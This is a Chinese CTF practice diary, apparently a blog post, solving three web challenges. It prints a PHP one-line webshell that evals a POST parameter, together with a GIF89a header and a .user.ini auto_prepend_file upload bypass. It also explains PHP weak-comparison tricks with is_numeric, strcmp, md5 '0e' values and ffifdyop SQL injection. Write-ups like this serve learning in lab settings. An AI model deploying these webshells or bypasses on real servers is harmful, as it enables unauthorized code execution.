web刷题日记

[SUCTF 2019]CheckIn

打开题目:

看见文件上传尝试上传一句话木马

发现不能上传,于是抓包上传图片木马

发现不能有<?

想到之前做的phtml文件上传用的木马

<script language='php'>@eval($_POST['a']);</script>

上传后回显 exif_imagetype:not image!

exif_imagetype函数我记得是一个判断数据类型的函数

网上搜到exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。

JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)

GIF:47 49 46 38 39 61(ascll值是GIF89a)

PNG: 89 50 4E 47

所以在木马前面加一个GIF89a就行了

然后就是想怎么执行这个图片码了

先试试上面一题的方法看看能不能上传.htaccess文件

上传后发现也要加个GIF89a

上传成功后进行利用发现没有用

还是老老实实用.user.ini

上传.user.ini文件

GIF89a
auto_prepend_file=1.jpg

然后上传图片木马

1.jpg

GIF89a
<script language='php'>eval($_POST['cmd']);</script>

利用蚁剑连接

一直失败,搞了会放弃了

还是直接使用harkbar利用吧

感觉蚁剑应该是炸了

出现flag

[极客大挑战 2019]BuyFlag

打开题目


没看到什么信息在旁边的菜单界面看到flag

居然要我好多w才给我flag

页面没啥信息直接f12了

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

查了查is_numeric()这个函数,他的作用是判断输入的是否是数字,是的话才会返回true

所以不能输入纯数字了

网上查了下这个漏洞

这个函数和mysql结合起来就容易出问题,那是因为is_numeric判断的时候,当碰到16进制数的时候,也会判断成数字

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!

原文链接:[PHP安全特性学习]is_numeric()函数安全漏洞_笑花大王的博客-CSDN博客

加个空格就行了

还是没出来flag

应该是1000000000money没有满足

但也没找到充值界面

可能是还有一个参数

直接加上money=100000000

还是没有反应

If you want to buy the FLAG:
You must be a student from CUIT!!!

You must be answer the correct password!!!

才看到这条消息

必须是CUIT的学生,找了半天也没找到登录界面

最后还是看了网上的writeup才知道在cookie值里

直接把0改成1就行了

问题又来了,限制长度了

看网上的师傅说是strcmp函数的原因,查了查这个函数的漏洞

在PHP5.3之前,传入数据的类型是字符串类型,这个函数在数据类型不匹配的时候会返回0, 函数就会发生错误,显示报错信息后会return 0 所以漏洞就出现在了这里。

报错返回值是0和匹配成功是一样的,我直接把money改成数组,随便输了几个字母

终于出来了QAQ

[BJDCTF2020]Easy MD5

打开题目只有一个输入框和提交,应该是个sql注入题

没啥信息还是f12

源码里也没啥东西,想着看看cookie值

提示直接在响应头里

看来是用到了md5函数

接下来就在想怎么拼接成他给的password

网上搜了一下md5函数的漏洞,ffifdyop字符串验证出来后有'or'6的结构

直接输入ffifdyop进入下一个页面

$a = $GET['a'];

$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){

// wow, glzjin wants a girl friend.

查看源码

根据这个代码判断a不等于b但是md5加密以后要相等

傻傻的搜了波MD5加密前不相同加密后相同的可能性

其实md5转换后只要是0e开头,弱类型比较会认为是科学计数法,但是0e开头无论后面是什么,都等于0

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

跳转新页面

和上面一样的条件,但这次md5的比较用的===不能进行碰撞了

捣鼓了很久,发现网上的师傅直接用的数组绕过,又长知识了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值